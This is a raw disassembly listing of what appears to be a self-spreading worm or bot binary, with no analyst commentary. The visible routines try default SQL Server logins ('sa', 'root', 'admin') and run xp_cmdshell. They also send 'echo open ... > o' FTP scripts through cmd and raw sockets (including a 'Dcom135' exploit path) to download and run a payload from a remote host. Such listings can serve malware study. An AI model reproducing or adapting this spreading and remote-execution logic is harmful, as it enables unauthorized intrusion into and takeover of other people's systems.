pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4046AA endp
; =============== S U B R O U T I N E =======================================
sub_40484C proc near ; CODE XREF: .nsp0:00404A51p
mov eax, offset loc_420280
call sub_416458
sub esp, 10h
push ebx
push esi
push edi
push offset byte_438FDC
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_4046AA
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_415DC9
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_404896
xor bl, bl
jmp short loc_4048DA
; ---------------------------------------------------------------------------
loc_404896: ; CODE XREF: sub_40484C+44j
mov ecx, [ebp-18h]
mov eax, offset dword_421258
cmp ecx, ebx
jnz short loc_4048A4
mov ecx, eax
loc_4048A4: ; CODE XREF: sub_40484C+54j
cmp [ebp+18h], ebx
jz short loc_4048AC
mov eax, [ebp+18h]
loc_4048AC: ; CODE XREF: sub_40484C+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_415A6A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_43A408
cmp eax, esi
jz short loc_4048D1
xor bl, bl
jmp short loc_4048D3
; ---------------------------------------------------------------------------
loc_4048D1: ; CODE XREF: sub_40484C+7Fj
mov bl, 1
loc_4048D3: ; CODE XREF: sub_40484C+83j
push edi
call sub_415E3D
pop ecx
loc_4048DA: ; CODE XREF: sub_40484C+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404D21
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40484C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 624h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_42634C
push eax
call sub_4155D0
add esp, 0Ch
mov eax, offset byte_42C1FC
push eax
push eax
push dword_438FFC
push dword ptr [ebp+8]
call sub_40A171
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-395h]
push 400h
push eax
call sub_415A6A
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-24h]
push offset sub_4261E4
push eax
call sub_404108
mov ecx, [eax]
xor esi, esi
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp-4], eax
jnz short loc_4049AD
xor eax, eax
jmp loc_404B11
; ---------------------------------------------------------------------------
loc_4049AD: ; CODE XREF: .nsp0:004049A4j
mov [ebp-0Ch], esi
loc_4049B0: ; CODE XREF: .nsp0:00404AB0j
test esi, esi
jnz loc_404AB6
push 6
push 1
push 2
call dword_4211E0
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_404A9E
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_43A3B8
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_43A3F8
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_43A360
cmp eax, 0FFFFFFFFh
jz loc_404A93
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_404A5B
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404D21
lea eax, [ebp+0Ch]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_404D5D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40484C
add esp, 1Ch
jmp short loc_404A90
; ---------------------------------------------------------------------------
loc_404A5B: ; CODE XREF: .nsp0:00404A19j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_404A75
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40460C
jmp short loc_404A8D
; ---------------------------------------------------------------------------
loc_404A75: ; CODE XREF: .nsp0:00404A65j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404A93
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_404532
loc_404A8D: ; CODE XREF: .nsp0:00404A73j
add esp, 0Ch
loc_404A90: ; CODE XREF: .nsp0:00404A59j
movzx esi, al
loc_404A93: ; CODE XREF: .nsp0:00404A0Cj
; .nsp0:00404A7Fj
push ebx
call dword_43A450
test esi, esi
jnz short loc_404AA9
loc_404A9E: ; CODE XREF: .nsp0:004049C9j
push 3E8h
call dword_421060
loc_404AA9: ; CODE XREF: .nsp0:00404A9Cj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_4049B0
loc_404AB6: ; CODE XREF: .nsp0:004049B2j
lea ecx, [ebp-8]
call sub_403F2D
test esi, esi
jz short loc_404B0F
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset dword_426410
lea eax, [ebp-624h]
push 200h
push eax
call sub_415A6A
lea eax, [ebp-624h]
push eax
call sub_40B16D
mov eax, [ebp+0B0h]
add esp, 18h
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_404B0F: ; CODE XREF: .nsp0:00404AC0j
mov eax, esi
loc_404B11: ; CODE XREF: .nsp0:004049A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_420244
loc_404B16: ; CODE XREF: sub_420244+3j
; .nsp0:0042025Dj ...
push 1
call sub_404D21
retn
; END OF FUNCTION CHUNK FOR sub_420244
; =============== S U B R O U T I N E =======================================
sub_404B1E proc near ; CODE XREF: sub_4046AA+110p
; sub_4046AA+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_421248
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_404B38
call sub_41FDB0
loc_404B38: ; CODE XREF: sub_404B1E+13j
test ebx, ebx
jbe short loc_404B6F
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_404C9C
test al, al
jz short loc_404B6F
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_415570
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_404B6F: ; CODE XREF: sub_404B1E+1Cj
; sub_404B1E+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404B1E endp
; =============== S U B R O U T I N E =======================================
sub_404B77 proc near ; CODE XREF: sub_4046AA+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_421248
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_404B91
call sub_41FDB0
loc_404B91: ; CODE XREF: sub_404B77+13j
test ebx, ebx
jbe short loc_404BC6
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_404C9C
test al, al
jz short loc_404BC6
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_4155D0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404BC6: ; CODE XREF: sub_404B77+1Cj
; sub_404B77+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404BCE proc near ; CODE XREF: sub_4046AA+17Cp
; sub_41FE0A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_404BE6
call sub_41FFDC
loc_404BE6: ; CODE XREF: sub_404BCE+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_404BF8
mov esi, [ebp+arg_8]
loc_404BF8: ; CODE XREF: sub_404BCE+25j
cmp edi, ebx
jnz short loc_404C1A
push dword_421248
add esi, ecx
mov ecx, edi
push esi
call sub_404D92
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_404D92
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C1A: ; CODE XREF: sub_404BCE+2Cj
test esi, esi
jbe short loc_404C5D
cmp esi, eax
jnz short loc_404C5D
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C2E
mov eax, offset dword_421258
loc_404C2E: ; CODE XREF: sub_404BCE+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_404C5D
push 1
mov ecx, edi
call sub_404D21
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C49
mov eax, offset dword_421258
loc_404C49: ; CODE XREF: sub_404BCE+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C5D: ; CODE XREF: sub_404BCE+4Ej
; sub_404BCE+52j ...
push 1
push esi
mov ecx, edi
call sub_404C9C
test al, al
jz short loc_404C93
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C77
mov eax, offset dword_421258
loc_404C77: ; CODE XREF: sub_404BCE+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_4155D0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_404C93: ; CODE XREF: sub_404BCE+4Aj
; sub_404BCE+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_404BCE endp
; =============== S U B R O U T I N E =======================================
sub_404C9C proc near ; CODE XREF: sub_4046AA+3Dp
; sub_404B1E+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_404CAE
call sub_41FDB0
loc_404CAE: ; CODE XREF: sub_404C9C+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_404CD7
mov al, [ecx-1]
cmp al, dl
jz short loc_404CD7
cmp al, 0FFh
jz short loc_404CD7
cmp edi, edx
jnz short loc_404D12
dec al
push edx
mov [ecx-1], al
loc_404CCC: ; CODE XREF: sub_404C9C+47j
mov ecx, esi
call sub_404D21
loc_404CD3: ; CODE XREF: sub_404C9C+4Bj
; sub_404C9C+52j
xor al, al
jmp short loc_404D1C
; ---------------------------------------------------------------------------
loc_404CD7: ; CODE XREF: sub_404C9C+19j
; sub_404C9C+20j ...
cmp edi, edx
jnz short loc_404CF0
cmp [esp+8+arg_4], dl
jz short loc_404CE5
push 1
jmp short loc_404CCC
; ---------------------------------------------------------------------------
loc_404CE5: ; CODE XREF: sub_404C9C+43j
cmp ecx, edx
jz short loc_404CD3
mov [esi+8], edx
mov [ecx], dl
jmp short loc_404CD3
; ---------------------------------------------------------------------------
loc_404CF0: ; CODE XREF: sub_404C9C+3Dj
cmp [esp+8+arg_4], dl
jz short loc_404D0D
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404D02
cmp eax, edi
jnb short loc_404D1A
loc_404D02: ; CODE XREF: sub_404C9C+60j
push 1
mov ecx, esi
call sub_404D21
jmp short loc_404D12
; ---------------------------------------------------------------------------
loc_404D0D: ; CODE XREF: sub_404C9C+58j
cmp [esi+0Ch], edi
jnb short loc_404D1A
loc_404D12: ; CODE XREF: sub_404C9C+28j
; sub_404C9C+6Fj
push edi
mov ecx, esi
call sub_404DF9
loc_404D1A: ; CODE XREF: sub_404C9C+64j
; sub_404C9C+74j
mov al, 1
loc_404D1C: ; CODE XREF: sub_404C9C+39j
pop edi
pop esi
retn 8
sub_404C9C endp
; =============== S U B R O U T I N E =======================================
sub_404D21 proc near ; CODE XREF: sub_4046AA+1Fp
; sub_4046AA+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_404D4D
mov eax, [esi+4]
test eax, eax
jz short loc_404D4D
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_404D46
cmp al, 0FFh
jz short loc_404D46
dec al
mov [ecx], al
jmp short loc_404D4D
; ---------------------------------------------------------------------------
loc_404D46: ; CODE XREF: sub_404D21+19j
; sub_404D21+1Dj
push ecx
call sub_416477
pop ecx
loc_404D4D: ; CODE XREF: sub_404D21+8j
; sub_404D21+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404D21 endp
; =============== S U B R O U T I N E =======================================
sub_404D5D proc near ; CODE XREF: .nsp0:00404A45p
; sub_404EB6+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_404C9C
test al, al
jz short loc_404D8B
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_4155D0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_404D8B: ; CODE XREF: sub_404D5D+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_404D5D endp
; =============== S U B R O U T I N E =======================================
sub_404D92 proc near ; CODE XREF: sub_404BCE+39p
; sub_404BCE+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_404DA5
call sub_41FFDC
loc_404DA5: ; CODE XREF: sub_404D92+Cj
mov ecx, edi
call sub_404EB6
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_404DBB
mov ebx, eax
loc_404DBB: ; CODE XREF: sub_404D92+25j
test ebx, ebx
jbe short loc_404DF1
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_416490
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_404C9C
test al, al
jz short loc_404DF1
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404DF1: ; CODE XREF: sub_404D92+2Bj
; sub_404D92+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_404D92 endp
; =============== S U B R O U T I N E =======================================
sub_404DF9 proc near ; CODE XREF: sub_404C9C+79p
mov eax, offset loc_42028C
call sub_416458
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_404E1F
mov edi, [ebp+8]
loc_404E1F: ; CODE XREF: sub_404DF9+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404E2C
xor eax, eax
loc_404E2C: ; CODE XREF: sub_404DF9+2Fj
push eax
call sub_4167C5
pop ecx
mov [ebp+8], eax
jmp short loc_404E5D
; ---------------------------------------------------------------------------
loc_404E38: ; DATA XREF: .nsp0:00421F0Co
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_404E47
xor eax, eax
loc_404E47: ; CODE XREF: sub_404DF9+4Aj
push eax
call sub_4167C5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_404E57
retn
; ---------------------------------------------------------------------------
loc_404E57: ; DATA XREF: sub_404DF9+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_404E5D: ; CODE XREF: sub_404DF9+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_404E7B
cmp eax, edi
jbe short loc_404E6A
mov eax, edi
loc_404E6A: ; CODE XREF: sub_404DF9+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_4155D0
add esp, 0Ch
loc_404E7B: ; CODE XREF: sub_404DF9+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404D21
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_404E9B
mov edi, ebx
loc_404E9B: ; CODE XREF: sub_404DF9+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_404DF9 endp
; =============== S U B R O U T I N E =======================================
sub_404EB6 proc near ; CODE XREF: sub_404D92+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_404EE3
mov al, [esi-1]
test al, al
jz short loc_404EE3
cmp al, 0FFh
jz short loc_404EE3
push 1
call sub_404D21
push esi
call sub_415CF0
pop ecx
push eax
push esi
mov ecx, edi
call sub_404D5D
loc_404EE3: ; CODE XREF: sub_404EB6+9j
; sub_404EB6+10j ...
pop edi
pop esi
retn
sub_404EB6 endp
; =============== S U B R O U T I N E =======================================
sub_404EE6 proc near ; DATA XREF: .nsp0:00423008o
test byte_46979C, 1
jnz short loc_404EF6
or byte_46979C, 1
loc_404EF6: ; CODE XREF: sub_404EE6+7j
jmp $+5
push offset nullsub_1
call sub_416840
pop ecx
retn
sub_404EE6 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F08 proc near ; CODE XREF: .nsp0:00405188p
var_E3C = byte ptr -0E3Ch
var_A3C = byte ptr -0A3Ch
var_63C = byte ptr -63Ch
var_23C = byte ptr -23Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
sub esp, 0E3Ch
mov al, byte_438FDC
push esi
mov [ebp+var_1], al
push edi
lea eax, [ebp+var_14]
xor edi, edi
push eax
mov esi, offset aSa ; "sa"
push edi
push 1
mov [ebp+var_3C], esi
mov [ebp+var_38], offset aRoot ; "root"
mov [ebp+var_34], offset aAdmin ; "admin"
mov [ebp+var_30], offset aAdministrator ; "administrator"
mov [ebp+var_2C], offset aAdministrador ; "administrador"
mov [ebp+var_28], offset aAdministrater ; "administrater"
mov [ebp+var_24], offset aAdmins ; "admins"
mov [ebp+var_20], edi
mov [ebp+var_18], edi
mov [ebp+var_10], edi
mov [ebp+var_8], edi
call dword_43A33C
test ax, ax
jnz short loc_404F84
push 0FFFFFFFAh
push 3
push 0C8h
push [ebp+var_14]
call dword_43A440
test ax, ax
jz short loc_404F8B
loc_404F84: ; CODE XREF: sub_404F08+63j
xor eax, eax
jmp loc_405164
; ---------------------------------------------------------------------------
loc_404F8B: ; CODE XREF: sub_404F08+7Aj
lea eax, [ebp+var_10]
push eax
push [ebp+var_14]
push 2
call dword_43A33C
test ax, ax
jnz loc_405157
test esi, esi
push ebx
jz loc_405148
mov edi, dword_421060
lea eax, [ebp+var_3C]
mov [ebp+var_C], eax
mov ebx, offset byte_42C1FC
loc_404FBD: ; CODE XREF: sub_404F08+1EBj
cmp off_42C37C, 0
jz loc_4050E7
mov eax, offset off_42C37C
mov esi, eax
loc_404FD1: ; CODE XREF: sub_404F08+13Ej
lea ecx, [ebp+var_1]
push ecx
push dword ptr [eax]
mov eax, [ebp+var_C]
push dword ptr [eax]
lea eax, [ebp+arg_4]
push [ebp+arg_A0]
push eax
lea eax, [ebp+var_A3C]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_4154E7
add esp, 1Ch
lea eax, [ebp+var_1A]
push 0
push eax
lea eax, [ebp+var_E3C]
push 400h
push eax
lea eax, [ebp+var_A3C]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_A3C]
push eax
push 0
push [ebp+var_10]
call dword_43A3F4
test ax, ax
jz short loc_40504D
cmp ax, 1
jz short loc_40504D
push 1F4h
call edi
add esi, 4
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_404FD1
jmp loc_4050E7
; ---------------------------------------------------------------------------
loc_40504D: ; CODE XREF: sub_404F08+127j
; sub_404F08+12Dj
lea eax, [ebp+var_8]
push eax
push [ebp+var_10]
push 3
call dword_43A33C
push ebx
push ebx
call sub_415543
push eax
call sub_415543
push eax
push dword_438FFC
push [ebp+arg_0]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_63C]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_4154E7
add esp, 20h
lea eax, [ebp+var_63C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43A37C
test ax, ax
jz short loc_4050DC
mov esi, 1388h
push esi
call edi
push ebx
lea eax, [ebp+var_63C]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_63C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43A37C
test ax, ax
jz short loc_4050F8
push esi
call edi
loc_4050DC: ; CODE XREF: sub_404F08+19Bj
push [ebp+var_8]
push 3
call dword_43A3D4
loc_4050E7: ; CODE XREF: sub_404F08+BCj
; sub_404F08+140j
add [ebp+var_C], 4
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_405148
jmp loc_404FBD
; ---------------------------------------------------------------------------
loc_4050F8: ; CODE XREF: sub_404F08+1CFj
cmp [ebp+arg_B4], 0
mov [ebp+var_18], 1
jnz short loc_405126
push 0
lea eax, [ebp+var_23C]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_405126: ; CODE XREF: sub_404F08+1FEj
lea eax, [ebp+var_23C]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_405148: ; CODE XREF: sub_404F08+9Ej
; sub_404F08+1E9j
push [ebp+var_10]
push 2
call dword_43A3D4
mov edi, [ebp+var_18]
pop ebx
loc_405157: ; CODE XREF: sub_404F08+95j
push [ebp+var_14]
push 1
call dword_43A3D4
mov eax, edi
loc_405164: ; CODE XREF: sub_404F08+7Ej
pop edi
pop esi
leave
retn
sub_404F08 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 599h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404F08
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C8B
add esp, 0BCh
mov [ebp+0C0h], eax
push 1
pop eax
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4051BC proc near ; CODE XREF: .nsp0:004053BAp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43A3F8
mov [ebp+var_C], eax
mov ax, word_426710
push eax
call dword_43A3B8
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43A438
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4052D5
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A360
cmp eax, 0FFFFFFFFh
jz loc_4052D5
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3D0
mov esi, offset byte_42C1FC
push esi
push esi
push dword_438FFC
push [ebp+arg_0]
call sub_40A171
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_4052D5
push 1F4h
call dword_421060
push esi
push offset dword_425050
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_4052D9
loc_4052D5: ; CODE XREF: sub_4051BC+51j
; sub_4051BC+67j ...
xor al, al
jmp short loc_4052F7
; ---------------------------------------------------------------------------
loc_4052D9: ; CODE XREF: sub_4051BC+117j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3D0
push ebx
call dword_43A450
mov al, 1
loc_4052F7: ; CODE XREF: sub_4051BC+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4051BC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call dword_4211C8
mov esi, eax
test esi, esi
jnz short loc_405326
lea eax, [ebp+0Ch]
push eax
call dword_4211D8
mov ebx, eax
jmp short loc_40532C
; ---------------------------------------------------------------------------
loc_405326: ; CODE XREF: .nsp0:00405316j
mov ebx, [ebp+0C0h]
loc_40532C: ; CODE XREF: .nsp0:00405324j
push 11h
push 2
push 2
call dword_4211E0
test esi, esi
mov edi, eax
jz short loc_405356
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_4155D0
add esp, 0Ch
jmp short loc_405359
; ---------------------------------------------------------------------------
loc_405356: ; CODE XREF: .nsp0:0040533Cj
mov [ebp-0Ch], ebx
loc_405359: ; CODE XREF: .nsp0:00405354j
test esi, esi
jz short loc_405367
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_40536D
; ---------------------------------------------------------------------------
loc_405367: ; CODE XREF: .nsp0:0040535Bj
mov word ptr [ebp-10h], 2
loc_40536D: ; CODE XREF: .nsp0:00405365j
push 598h
call dword_4211DC
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call dword_4211E4
test eax, eax
jnz short loc_4053F2
push eax
push 152h
push offset dword_4265BC
push edi
call dword_4211EC
push 3E8h
call dword_421060
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4051BC
add esp, 0BCh
test al, al
jz short loc_4053CE
push 1
pop eax
jmp short loc_405404
; ---------------------------------------------------------------------------
loc_4053CE: ; CODE XREF: .nsp0:004053C7j
lea eax, [ebp-210h]
push eax
call sub_40B16D
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
jmp short loc_405402
; ---------------------------------------------------------------------------
loc_4053F2: ; CODE XREF: .nsp0:0040538Bj
push 1
push edi
call dword_4211CC
push edi
call dword_4211F0
loc_405402: ; CODE XREF: .nsp0:004053F0j
xor eax, eax
loc_405404: ; CODE XREF: .nsp0:004053CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405409 proc near ; DATA XREF: sub_407276+226o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = byte ptr -238h
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
